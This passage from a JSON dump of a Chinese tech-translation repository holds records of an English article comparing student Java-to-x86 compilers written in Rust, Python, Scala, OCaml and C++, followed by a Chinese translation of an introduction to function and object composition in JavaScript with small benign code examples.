implement the fancy array vtables required by the spec, which take maybe 50-100 lines of code.\n\nI didn’t dig very deeply into these differences with my friend. I speculate that it’s mostly explained by:\n\n* Them using an LR parser and tree rewriter instead of a recursive descent parser\n* The lack of sum types and pattern matching in C++, which we used extensively and were very helpful.\n* Needing to duplicate all the signatures in header files, which Rust doesn’t have.\n\nAnother thing we compared was compile times. On my laptop our compiler takes 9.7s for a clean debug build, 12.5s for clean release, and 3.5s for incremental debug. My friend didn’t have timings on hand for their C++ build (using parallel make) but said those sounded quite similar to his experience, with the caveat that they put the implementations of a bunch of small functions in header files to save the signature duplication at the cost of longer times (this is also why I can’t measure the pure header file line count overhead).\n\n> 欢迎继续阅读本系列文章的下半部分：\n>\n> - [Comparing the Same Project in Rust, Haskell, C++, Python, Scala and OCaml - Part 2](https://github.com/xitu/gold-miner/blob/master/TODO1/comparing-compilers-in-rust-haskell-c-and-python-2.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/comparing-compilers-in-rust-haskell-c-and-python-2.md",
    "content": "> * 原文地址：[Comparing the Same Project in Rust, Haskell, C++, Python, Scala and OCaml](http://thume.ca/2019/04/29/comparing-compilers-in-rust-haskell-c-and-python/)\n> * 原文作者：[Tristan](http://thume.ca)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/comparing-compilers-in-rust-haskell-c-and-python-2.md](https://github.com/xitu/gold-miner/blob/master/TODO1/comparing-compilers-in-rust-haskell-c-and-python-2.md)\n> * 译者：\n> * 校对者：\n\n# Comparing the Same Project in Rust, Haskell, C++, Python, Scala and OCaml - Part 2\n\n> 如果你还没阅读本系列文章的上半部分，建议先阅读上半部分：\n>\n> - [Comparing the Same Project in Rust, Haskell, C++, Python, Scala and OCaml - Part 1](https://github.com/xitu/gold-miner/blob/master/TODO1/comparing-compilers-in-rust-haskell-c-and-python-1.md)\n\nDuring my final term at UWaterloo I took [the CS444 compilers class](https://www.student.cs.uwaterloo.ca/~cs444/) with a project to write a compiler from a substantial subset of Java to x86, in teams of up to three people with a language of the group’s choice. This was a rare opportunity to compare implementations of large programs that all did the same thing, written by friends I knew were highly competent, and have a fairly pure opportunity to see what difference design and language choices could make. I gained a lot of useful insights from this. It’s rare to encounter such a controlled comparison of languages, it’s not perfect but it’s much better than most anecdotes people use as the basis for their opinions on programming languages.\n\nWe did our compiler in Rust and my first comparison was with a team that used Haskell, which I expected to be much terser, but their compiler used similar amounts or more code for the same task. The same was true for a team that used OCaml. I then compared with a team that used C++, and as expected their compiler was around 30% larger largely due to headers and lack of sum types and pattern matching. The next comparison was my friend who did a compiler on her own in Python and used less than half the code we did because of the power of metaprogramming and dynamic types. A friend whose team used Scala also had a smaller compiler than us. The comparison that surprised me most though was with another team that also used Rust, but used 3 times the code that we did, because of different design decisions. In the end, the largest difference in the amount of code required was within the same language!\n\nI’ll go over why I think this is a good comparison, some information on each project, and I’ll explain some of the sources of the differences in compiler size. I’ll also talk about what I learned from each comparison. Feel free to use these links to skip ahead to what interests you:\n\n## Table of Contents\n\n* [Python](#python): half the size because of fancy metaprogramming!\n* [Rust (other group)](#rust-other-group): 3x the size because of different design decisions!\n* [Scala](#scala): 0.7x the size\n* [OCaml](#ocaml): 1.0-1.6x the size depending on how you count, similar to Haskell\n\n## Python\n\nI have one friend who is an extraordinarily good programmer who chose to do the project alone and in Python. She also implemented more extra features (for fun) than any other team including an SSA intermediate representation with register allocation and other optimizations. On the other hand because she was working alone and implementing a bunch of extra features, she dedicated the least effort to code quality, for example by throwing an undifferentiated exception for all errors (relying on backtraces for debugging) instead of having error types and messages like we did.\n\nHer compiler was 4581 raw lines and passed all public and secret tests. She also implemented way more extra features than any other team I compare with, but it’s hard to determine how extra code that took because many of her extra features were more powerful versions of simple things everyone needed to implement like constant folding and code generation. The extra features probably account for 1000-2000 lines at least though, so I’m confident her code was at least twice as expressive as ours.\n\nOne large part of this difference is likely dynamic typing. Our `ast.rs` alone has 500 lines of type definitions, and there are many more types defined throughout our compiler. We also are always constrained in what we do by the type system. For example we need infrastructure for ergonomically adding new info to our AST as it progresses through passes and accessing that later. Whereas in Python you can just set new fields on your AST nodes.\n\nPowerful metaprogramming also explains part of the difference. For example although she used an LR parser instead of a recursive descent parser, in her case I think it needed less code, because instead of a tree rewriting pass, her LR grammar included Python code snippets to construct the AST, which the generator could turn into Python functions using `eval`. Part of the reason we didn’t use an LR parser is because constructing an AST without a tree rewriting pass would require a lot of ceremony (either generating Rust files or procedural macros) to tie the grammar to snippets of Rust code.\n\nAnother example of the power of metaprogramming and dynamic typing is that we have a 400 line file called `visit.rs` that is mostly repetitive boilerplate code implementing a visitor on a bunch of AST structures. In Python this could be a short ~10 line function that recursively introspects on the fields of the AST node and visits them (using the `__dict__` attribute).\n\nAs a fan of Rust and statically typed languages in general I’m inclined to point out that the type system is very helpful for avoiding bugs and for performance. Fancy metaprogramming can also make it more difficult to understand how code works. However, this comparison surprised me in that I hadn’t expected the difference in the amount of code to be quite so large. If the difference in general is really close to needing to write twice the amount of code, I still think Rust is worth the tradeoff, but 2x is nothing to sneeze at and in the future I’ll be more inclined to hack something together in Ruby/Python if I just need to get it done quickly without a team and then throw it away after.\n\n## Rust (other group)\n\nThe last comparison I did and also the most interesting to me was with my friend who did the project in Rust with one teammate (who I didn’t know). My friend had a good amount of Rust experience having contributed to the Rust compiler and done lots of reading, I don’t know about his teammate.\n\nTheir project was 17,211 raw lines, 15k source lines, and 637kb not including test code and generated code. It had no extra features and passed only 4/10 secret tests and 90% of the public code generation tests, because they didn’t find the time before the final deadline to implement fancier pieces of the spec. This is 3 times the size of our compiler written in the same language, but with strictly less functionality!\n\nThis result was really surprising to me and dwarfed all the between-language differences I had investigated thus far. So we compared `wc -l` file size listings, as well as spot checking how we each implemented some specific things that had very different code sizes.\n\nIt seems to come down to consistently making different design decisions. For example, their front end (lexing, parsing, AST building) is 7597 raw lines to our 2164. They used a DFA-based lexer and LALR(1) parser, but the other groups did similar things without as much code. Looking at their weeder file, I noticed a number of different design decisions:\n\n* They chose to use a fully typed parse tree instead of the standard string-based homogeneous parse tree. This presumably required a lot more type definitions and additional transformation code in the parsing stage or a more complex parser generator.\n\n* They used `TryFrom` trait implementations for converting between the parse tree types and the AST types while validating their correctness. This lead to tons of 10-20 line `impl` blocks. We used functions that returned `Result` types to accomplish the same thing, which had less line overhead and also freed us from the type structure a bit more, making parameters and re-use easier. Some things that for us were single line `match` branches were 10 line impl statements for them.\n\n* Our types were structured in a way that required less copy-pasting. For example they used separate `is_abstract`, `is_native` and `is_static` fields whose constraint checking code needed to be copy-pasted twice, once for their void-typed methods and once for their methods with a return type, with slight modifications. Whereas for us `void` was just a special type, and we came up with a taxonomy of modifiers into `mode` and `visibility` enums that enforced the constraints at the type level and constraint errors were generated in the default case of the match statement that translated the modifier sets to the mode and visibility.\n\nI didn’t look at the code of the analysis passes of their compiler, but they are similarly large. I talked to my friend and it seems they didn’t implement anything like the visitor infrastructure that we did. I’m guessing this along with some other smaller design differences account for the size difference of this part. The visitor allowed our analysis passes to only pay attention to the parts of the AST they needed instead of having to pattern match down through the entire AST structure, saving a lot of code.\n\nTheir code generation is 3594 lines where ours is 1560. I looked at their code for this and it seems that nearly all of the difference is that they chose to have an intermediate data structure for assembly instructions, where we just used string formatting to directly output assembly. This required defining types and output functions for all the instructions and operand types they used. It also meant that constructing assembly instructions took way more code, where we might have a formatting statement that used terse instructions like `mov ecx, [edx]`, they needed a giant statement `rustfmt` split over 6 lines which constructed the instruction with a bunch of intermediate nested types for the operands involving 6 levels of nested parentheses at its deepest. We could also output blocks of related instructions like a function preamble in one formatting statement, where they had to do the full construction for each instruction.\n\nOur team considered using such an abstraction. It would make it easier to have the option of either outputting textual assembly or directly emitting machine code, however that wasn’t a requirement of the course. The same thing could also be accomplished with less code and better performance using an `X86Writer` trait with methods like `push(reg: Register)`. Another angle we considered was that it might make debugging and testing easier, but we realized that looking at the generated textual assembly would actually be easier to read and test with [snapshot testing](https://docs.rs/insta/0.8.1/insta/) as long as we inserted comments liberally. But we (apparently correctly) predicted that it would take a lot of extra code, and there wasn’t any real benefit given what we knew we were going to need, so we didn’t bother.\n\nA good comparison is with the intermediate representation the C++ group used as an extra feature, which only took them closer to 500 extra lines. They used a very simple structure (making for simple type definitions and construction code) that used operations close to what Java required. This meant that their IR was much smaller (and thus required less construction code) than the resulting assembly, since many language operations like calls and casts expanded into many assembly instructions. They also say it really helped debugging since it cut out a lot of the cruft and was easy to read. The higher level representation also allowed them to do some simple optimizations on their IR. The C++ team came up with a really nice design which got them much more benefit with much less code.\n\nOverall it seems like the overall 3x size multiplier is due to consistently making different design decisions both large and small in the direction of larger code. They implemented a number of abstractions that we didn’t which added more code, and missed out on some of the abstractions we implemented which lead to less code.\n\nThis result really surprised me, I knew design decisions mattered but I wouldn’t have guessed beforehand that they would lead to any differences this large, given that I was only surveying people that I consider strong competent programmers. Of all the results from this comparison, this is the one I learned the most from. Something that I think helped was that I had read a lot about how to write compilers before I took the course, so I could take advantage of clever designs other people had come up with and found worked well like AST visitors and recursive descent parsing even when they weren’t taught in the course.\n\nOne thing this really made me think about is the cost of abstraction. Abstractions may make things easier to extend in the future, or guard against certain types of errors, but they need to be considered against the fact that you may end up with 3 times the amount of code to understand and refactor, 3 times the amount of possible locations for bugs and less time left to spend on testing and further development. Our course was unlike the real world in that we knew exactly what we needed to implement and that we’d never touch the code afterwards, which eliminates the benefits of pre-emptive abstraction. However if you were going to challenge me to extend a compiler with an arbitrary feature you’d tell me later, and I had to pick which compiler I’d start from, I’d choose ours even setting aside familiarity. Because there’d simply be much less code that I’d need to understand how to change, and I could potentially choose a better abstraction for the requirements (like the C++ team’s IR) once I knew how I needed to extend things.\n\nIt also solidified the taxonomy in my head of abstractions that you expect to remove code given only your current requirements, like our visitor pattern, and abstractions you expect to add code given only your immediate requirements, but that may provide extensibility, debuggability or correctness benefits.\n\n## Scala\n\nI also talked to a friend of mine who did the project in a previous term using Scala, but the project and tests were the exact same ones. Their compiler was 4141 raw lines and ~160kb of code not counting tests. They passed 8/10 secret tests and 100% of public tests and didn’t implement any extra features. So comparing with our 5906 lines without extra features and tests, their compiler is 0.7x the size.\n\nOne design factor in their low line count was that they used a different approach to parsing. The course allowed you to use a command line LR table generator tool that the course provided, which this team used but no other team I mention did. This saved them having to implement an LR table generator. They also managed to avoid writing the LR grammar using a 150 line Python script which scraped a Java grammar web page they found online and translated it into the input format of the generator tool. They still needed to do some tree building in Scala but overall their parsing stage came in at 1073 lines to our 1443, where most other teams use of LR parsing lead to larger parsers than our recursive descent one.\n\nThe rest of their compiler was similarly smaller than ours though without any obvious large design differences, although I didn’t dig into the code. I suspect this is probably due to differences in expressiveness between Scala and Rust. Scala and Rust have similar functional programming features helpful for compilers, like pattern matching, but Scala’s managed memory saves on code required to make the Rust borrow checker happy. Scala also has more miscellaneous syntactic sugar than Rust.\n\n## OCaml\n\nSince my team had all interned at [Jane Street](https://www.janestreet.com/) the other language we considered using was OCaml, we decided on Rust but I was curious about how OCaml might have turned out so I talked to someone else I knew had interned at Jane Street and they indeed did their compiler in OCaml with two other former Jane Street interns.\n\nTheir compiler was 10914 raw lines and 377kb including a small amount of test code and no extra features. They passed 9/10 secret tests and all public tests.\n\nLike other groups it looks like a lot of the size difference is due to them using an LR parser generator and tree rewriting for parsing, as well as a regex->NFA->DFA conversion pipeline for lexing. Their front-end (lexing+parsing+AST construction) is 5548 lines where ours is 2164, with similar ratios for bytes. They also used [expect tests](https://blog.janestreet.com/testing-with-expectations/) for their parser where we used similar snapshot tests that put the expected output outside the code, so their parser tests were ~600 lines of that total where ours were ~200.\n\nThat leaves 5366 lines (461 lines of which is interface files with just type declarations) for the rest of their compiler and 4642 for ours, only 1.15x larger if you count interface files and basically the same size if you don’t count them. So it looks like setting aside our parsing design decisions, Rust and OCaml seem similarly expressive except that OCaml needs interface files and Rust doesn’t.\n\n## Conclusion\n\nOverall I’m very glad I did this comparison, I learned a lot from it and was surprised many times. I think my overall takeaway is that design decisions make a much larger difference than the language, but the language matters insofar as it gives you the tools to implement different designs.\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/composing-software-an-introduction.md",
    "content": "> * 原文地址：[Composing Software: An Introduction](https://medium.com/javascript-scene/composing-software-an-introduction-27b72500d6ea)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/composing-software-an-introduction.md](https://github.com/xitu/gold-miner/blob/master/TODO1/composing-software-an-introduction.md)\n> * 译者：[Sam](https://github.com/xutaogit)\n> * 校对者：[Mcskiller](https://github.com/Mcskiller), [CoderMing](https://github.com/CoderMing)\n\n# 程序构建系列教程简介\n\n![](https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg)\n\nSmoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)\n\n> 注意：这是关于从头开始使用 JavaScript ES6+ 学习函数式编程和组合软件技术的 “Composing Software” 系列介绍。还有更多关于这方面的内容！\n> [**下一篇 >**](https://github.com/xitu/gold-miner/blob/master/TODO1/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md)\n\n> 组合：“将部分或元素结合成整体的行为。” —— Dictionary.com\n\n在我的高中第一堂编程课中，我被告知软件开发是“把复杂问题分解成更小的问题，然后构建简单的解决方案以得出复杂问题最终的解决方案的行为。”\n\n我一生中最大的遗憾之一就是没能很早认识到这堂课的重要性。我太晚才了解到软件设计的本质。\n\n我面试过数百名开发者。从这些对话中我了解到自己不是唯一(处于这种情况)的。极少工作软件开发者能很好地抓住软件开发的本质。他们不了解我们在使用的最重要工具，或者不知道如何充分利用它们。所有人都一直在努力回答软件开发领域中这一个或两个最重要的问题：\n\n*   什么是函数组合？\n*   什么是对象组合？\n\n问题是你不能因为仅仅没有意识它就躲避构建。你依然需要这样做 —— 虽然你做的很糟糕。你编写了带有更多 bug 的代码，让其他开发者很难理解。这是很大的问题，代价也很大。我们花费更多时间来维护软件而不是从头开始创建软件，我们的这些 bug 会影响全球数十亿人。\n\n现今整个世界都运行在软件上。每一辆新车都是一台在车轮上的小型超级计算机，软件设计的问题会导致真正的事故并且造成真正的生命损失。2013 年，一个陪审团发现 Toyota 的软件团队犯了[“全然无视”的罪名](http://www.safetyresearch.net/blog/articles/toyota-unintended-acceleration-and-big-bowl-%E2%80%9Cspaghetti%E2%80%9D-code)，因为事故调查显示它们有着 10,000 个全局变量的面条代码。\n\n[黑客和政府存储漏洞](https://www.technologyreview.com/s/607875/should-the-government-keep-stockpiling-software-bugs/)为了监视人民，盗取信用卡，利用计算资源做分布式拒绝服务(DDoS)攻击，破解密码，甚至[操纵选举](https://www.technologyreview.com/s/604138/the-fbi-shut-down-a-huge-botnet-but-there-are-plenty-more-left/)。\n\n我们必须做得更好才行。\n\n### 你每天都在构建软件\n\n如果你是一个软件开发者，不管你知不知道，你每天都会编写函数和数据结构。你可以有意识地（并且更好地）做到这一点，或者你可能疯狂的复制粘贴意外地做到这一点。\n\n软件开发的过程是把大问题拆分成更小的问题，构建解决这些小问题的组件，然后把这些组件组合在一起形成完整的应用程序。\n\n### 函数组合\n\n函数组合是将一个函数应用于另一个函数输出结果的过程。在代数中，给出了两个函数，`f` 和 `g`，`(f ∘ g)(x) = f(g(x))`。圆圈是组合运算符。它通常发音为“复合（composed with）”或者“跟随（after）”。你可以像这样大声的念出来：“`f`复合 `g` 等价于 `f` 是 `g` 关于 `x` 的函数”或者“`f` 跟随 `g` 等价于 `f` 是 `g` 关于 `x` 的函数”。我们说 `f` 跟随 `g` 是因为先求解 `g`，然后它的输出作为 `f` 的执行参数。\n\n每次你像这样编写代码时，你都在组合函数：\n\n\n```\nconst g = n => n + 1;\nconst f = n => n * 2;\n\nconst doStuff = x => {\n  const afterG = g(x);\n  const afterF = f(afterG);\n  return afterF;\n};\n\ndoStuff(20); // 42\n```\n\n每次你编写一个 Promise 链，你都在组合函数：\n\n```\nconst g = n => n + 1;\nconst f = n => n * 2;\n\nconst wait = time => new Promise(\n  (resolve, reject) => setTimeout(\n    resolve,\n    time\n  )\n);\n\nwait(300)\n  .then(() => 20)\n  .then(g)\n  .then(f)\n  .then(value => console.log(value)) // 42\n;\n```\n\n同样，每次你进行链式数组方法调用，lodash 库的方法，observables（RxJS 等等）时，你在组合函数。如果你进行链式调用，你都在进行组合。如果你把函数返回值传递到另一个函数中，你在进行组合。如果你顺序的调用两个方法，你使用 `this` 作为输入数据进行组合。\n\n> 如果你在进行链式（调用），你便是在进行（函数）构建。\n\n当你有意识地组合函数时，你会做得更好。\n\n有意识地的组合使用函数，我们可以把 `daStuff()` 函数改进成简单的一行（代码）：\n\n```\nconst g = n => n + 1;\nconst f = n => n * 2;\n\nconst doStuffBetter = x => f(g(x));\n\ndoStuffBetter(20); // 42\n```\n\n这种形式的一个常见异议是调试起来比较困难。举个例子，使用函数组合我们该如何编写这些内容？\n\n```\nconst doStuff = x => {\n  const afterG = g(x);\n  console.log(`after g: ${ afterG }`);\n  const afterF = f(afterG);\n  console.log(`after f: ${ afterF }`);\n  return afterF;\n};\n\ndoStuff(20); // =>\n/*\n\"after g: 21\"\n\"after f: 42\"\n*/\n```\n\n首先，让我们抽象出 “after f” 和 “after g”，定义一个名为 `trace()` 的小功能：\n\n```\nconst trace = label => value => {\n  console.log(`${ label }: ${ value }`);\n  return value;\n};\n```\n\n现在我们可以像这样使用它：\n\n```\nconst doStuff = x => {\n  const afterG = g(x);\n  trace('after g')(afterG);\n  const afterF = f(afterG);\n  trace('after f')(afterF);\n  return afterF;\n};\n\ndoStuff(20); // =>\n/*\n\"after g: 21\"\n\"after f: 42\"\n*/\n```\n\n像 Lodash 和 Ramda 这些流行的函数式编程库里包含了更容易使用函数组合的实用程序。你可以像这样重写上面的函数：\n\n```\nimport pipe from 'lodash/fp/flow';\n\nconst doStuffBetter = pipe(\n  g,\n  trace('after g'),\n  f,\n  trace('after f')\n);\n\ndoStuffBetter(20); // =>\n/*\n\"after g: 21\"\n\"after f: 42\"\n*/\n```\n\n如果你想在不导入内容的情况下尝试这些代码，你可以像这样定义 pipe：\n\n```\n// pipe(...fns: [...Function]) => x => y\nconst pipe = (...fns) => x => fns.reduce((y, f) => f(y), x);\n```\n\n如果你不理解它是怎么工作的也别担心。稍后我们将会更详尽的探索函数组合。事实上，它是如此的重要，你会在整个文档中看到它多次被定义和显示。目的是帮助你熟悉它，知道它的定义和用法是自动的。让你成为组合家族的一份子。\n\n`pipe()` 创建一个函数的管道（pepeline），把一个函数的输出作为另一个函数的输入。当你使用 `pipe()`（和它的孪生方法 `compose()`）时，你不需要中间变量。在不提及参数的情况下编写的函数成为**无值风格**。为此，你将调用一个返回新函数的函数，而不是显示的声明该函数。这意味着你不需要`function`关键字或者箭头语法（`=>`）。\n\n无值风格可能会占用太多，但很好的一点是，那些中间变量给你的函数增加了不必要的复杂性。\n\n降低复杂度有几个好处：\n\n#### 工作记忆\n\n在人类大脑[工作记忆](http://www.nature.com/neuro/journal/v17/n3/fig_tab/nn.3655_F2.html)里平均只有很少共享资源用于离散量子，并且每个变量可能消耗其中一个量子。随着你添加更多的变量，我们准确回忆起每个变量含义的能力会降低。工作记忆模型通常涵盖 4-7 个离散量子。超过这些数字的话，（处理问题的）错误率急剧增加。\n\n使用管道（pipe）模式，我们消除了三个变量 —— 为处理其他事情释放了将近一半可用的工作记忆。这显著降低了我们的认知负担。相比于一般人，软件开发者更倾向于将数据分块到工作记忆中，但并不是说会削弱保护的重要性。\n\n#### 信噪比\n\n简洁的代码也可以提高你的代码信噪比。这就像收听收音机 —— 当收音机没有调到正确的电台时，会有很多干扰的噪音，并且很难听到音乐。当你调到正确的电台，噪音没有了，然后你得到更强的音乐信号。\n\n代码也是一样的。更简洁的代码表达式可以增强理解力。有些代码给我们提供有用的信息，而有些代码只是占用空间。如果你可以减少使用代码的量而不减少传输的含义，那么你将使代码更易于解析并且对于要阅读代码的其他人来说也更好理解。\n\n#### bug 的覆盖面\n\n看看之前和之后的功能。看起来函数做了缩减并且减轻了很多代码量。这很重要，因为额外的代码意味着 bug 有额外的覆盖面区域隐藏，这意味着更多的 bug 会隐藏其中。\n\n> **更少的代码 = 更少的错误覆盖面积 = 更少的 bug。**\n\n### 组合对象\n\n> “在类继承上支持对象组合”，Gang of Four 说，“[设计模式：可重用面向对象软件的元素](https://www.amazon.com/Design-Patterns-Elements-Reusable-Object-Oriented/dp/0201633612/ref=as_li_ss_tl?ie=UTF8&qid=1494993475&sr=8-1&keywords=design+patterns&linkCode=ll1&tag=eejs-20&linkId=6c553f16325f3939e5abadd4ee04e8b4)。”\n\n> “在计算机科学中，复合数据类型或组合数据类型是可以使用编程语言原始数据类型和其他复合类型构建的任何数据类型。[…] 构建复合类型的行为称为组合。“ —— 维基百科\n\n这些是原始值：\n\n```\nconst firstName = 'Claude';\nconst lastName = 'Debussy';\n```\n\n这是一个复合值：\n\n```\nconst fullName = {\n  firstName,\n  lastName\n};\n```\n\n同样，所有 Arrays、Sets、Maps、WeakMaps 和 TypedArrays 等都是复合数据类型。每次你构建任何非原始数据结构的时候，你都在执行某种对象组合。\n\n请注意，Gang of Four 定义了一种称为**复合模式**的模式，它是一种特定类型的递归对象组合，允许你以相同的方式处理单个组件和聚合组合。有些开发者可能会感到困惑，认为复合模式是对象组合的唯一形式。不要混淆。有很多不同种类的对象组合。\n\nGang of Four 继续说道，“你将会看到对象组合在设计模式中一次又一次地被应用”，然后他们列出了三种对象组合关系，包括**委托**（在状态，策略和观察者模式中使用），**结识**（当一个对象通过引用知道另一个对象时，通常是作为一个参数传递：一个 uses-a 关系，例如，一个网络请求处理程序可能会传递一个对记录器的引用来记录请求 —— 请求处理程序**使用**一个记录器），和**聚合**（当子对象形成父对象一部分时：一个 has-a 关系，例如，DOM 子节点是 DOM 节点中的组件元素 —— DOM 节点**拥有**子节点）。\n\n类继承可以用在构建复合对象，但这是一种充满限制性和脆弱性的方法。当 Gang of Four 说“在类继承上支持对象组合”时，他们建议你使用灵活的方式来构建复合对象，而不是使用刚性的，紧密耦合的类继承方法。\n\n我们将使用“[计算机科学中的分类方法：与拓扑相关的方面](https://www.amazon.com/Categorical-Methods-Computer-Science-Topology/dp/0387517227/ref=as_li_ss_tl?ie=UTF8&qid=1495077930&sr=8-3&keywords=Categorical+Methods+in+Computer+Science:+With+Aspects+from+Topology&linkCode=ll1&tag=eejs-20&linkId=095afed5272832b74357f63b41410cb7)”（1989）中对象组成更一般的定义：\n\n> ”通过将对象放在一起形成复合对象，使得后者中的每一个都是‘前者’的一部分。“\n\n另一个很好的参考是“通过复合设计可靠的软件”，Glenford J Myers，1975年。这两本书都已经绝版了，但如果你想在对象组成技术的主题上进行更深入的探索，你仍然可以在亚马逊或者 eBay 上找到卖家。\n\n**类继承只是一种复合对象结构**。所有类生成复合对象，但不是所有的复合对象都是由类或者类继承生成的。“在类继承上支持对象组合”意味着你应该从小组件部分构建复合对象，而不是在类层次上从祖先继承所有属性。后者在面向对象设计中引起大量众所周知的问题：\n\n* **强耦合问题**：因为子类依赖于父类的实现，类继承是面向对象设计中最紧密的耦合。\n* **脆弱的基类问题**：由于强耦合，对基类的更改可能会破坏大量的后代类 —— 可能在第三方管理的代码中。作者可能会破坏掉他们不知道的代码。\n* **不灵活的层次结构问题**：对于单一的祖先分类法，给定足够的时间和改进，所有的类分类法最终都是错误的新用例。\n* **必要性重复问题**：由于层次结构不灵活，新的用例通常是通过复制而不是扩展来实现，从而导致类似的类意外地的发散。一旦复制开始，就不清楚或者为什么哪个新类应该从哪个类开始。\n* **大猩猩/香蕉问题**：”...面向对象语言的问题在于它们自身带有所有隐含的环境。你想要的是一根香蕉，但你得到的是拿着香蕉的大猩猩和整个丛林。“ —— Joe Armstrong，[\"工作中的编码员\"](http://www.amazon.com/gp/product/1430219483?ie=UTF8&camp=213733&creative=393185&creativeASIN=1430219483&linkCode=shr&tag=eejs-20&linkId=3MNWRRZU3C4Q4BDN)。\n\nJavaScript 中最常见的对象组合形式称为**对象链接**（又称混合组合）。它像冰淇淋一样。你从一个对象（如香草冰淇淋）开始，然后混合你想要的功能。加入一些坚果，焦糖，巧克力漩涡，然后你会结出坚果焦糖巧克力漩涡冰淇淋。\n\n使用类继承构建复合：\n\n```\nclass Foo {\n  constructor () {\n    this.a = 'a'\n  }\n}\n\nclass Bar extends Foo {\n  constructor (options) {\n    super(options);\n    this.b = 'b'\n  }\n}\n\nconst myBar = new Bar(); // {a: 'a', b: 'b'}\n```\n\n使用混合组合构建复合：\n\n```\nconst a = {\n  a: 'a'\n};\n\nconst b = {\n  b: 'b'\n};\n\nconst c = {...a, ...b}; // {a: 'a', b: 'b'}\n```\n\n我们稍后将更加深入的探索其他对象组合风格。目前，你的理解应该是：\n\n1.  有很多种方法可以做到这一点（复合）。\n2.  有些方法比其他方式更好。\n3.  你希望选择为手头的任务选择最简单，最灵活的解决方案。\n\n### 总结\n\n这不是关于函数式编程（FP）和面向对象编程（OOP）的比较，或者一种语言和另一种语言的对比。组件可以采用函数，数据结构，类等形式...不同的编程语言为组件提供不同的原子元素。Java 提供类，Haskell 提供函数等等...但无论你喜欢什么语言和范式，归结到底，你都无法摆脱编写函数和数据结构。\n\n我们将讨论很多关于函数式编程的知识，因为函数是用 JavaScript 编写的最简单的东西，并且函数式编程社区投入了大量时间和精力来形式化函数组合技术。\n\n我们不会做的是说函数式编程比面向对象编程更好，或者你必须择其一。把 OOP 和 FP 做比较是一个错误的想法。就我近些年看到的每个真正的 JavaScript 应用都广泛混合使用 FP 和 OOP。\n\n我们将使用对象组合来生成用于函数式编程的数据类型，以及用于为 OOP 生成对象的函数式编程。\n\n**无论你如何编写软件，都应该把它写得更好。**\n\n> 软件开发的本质是组合。\n\n不了解组合的软件开发人员就像不知道螺栓和钉子的房屋建筑师。在没有组合意识的情况下构建软件就像一个房屋建筑师把墙壁用胶带和强力胶水捆绑在一起。\n\n是时候简化了，简化的最好方法就是了解本质。问题是，业内几乎没有人能够很好的掌握到最本质元素。就软件行业来说，作为一个开发者这算失败的。但从行业的角度来看我们有责任更好的培训开发人员。我们必须改进。我们需要承担责任。从经济到医疗设备，今天所有的一切都运行在软件上。在我们星球上没有人类生活的角落不受到软件质量影响的。我们需要知道我们在做什么。\n\n是时候学习如何编写软件了。\n\n[继续“函数式编程的兴衰与崛起”](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c)\n\n### 在 EricElliottJS.com 上了解更多信息\n\n[有关函数和对象组成的视频课程](https://ericelliottjs.com/premium-content/)可供 EricElliottJS.com 的成员使用。如果你不是成员，[请立即注册](https://ericelliottjs.com/)。\n\n[![](https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg)](https://ericelliottjs.com/product/lifetime-access-pass/)\n\n* * *\n\n**_Eric Elliott_ 是 “[JavaScript 应用程序编程](http://pjabook.com)”（O'Reilly）和“[和 Eric Elliott 一起学习 JavaScript](http://ericelliottjs.com/product/lifetime-access-pass/)”的作者。他为 Adobe Systems、Zumba Fitness、华尔街日报、ESPN、BBC 以及包括 Usher、Frank Ocean 和 Metallica 等在内的很多顶级录音艺术家的软件体验做出了贡献**。\n\n**他与世界上最美丽的女人在任何地方远程工作。**\n\n感谢 [JS_Cheerleader](https://medium.com/@JS_Cheerleader?source=post_page)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 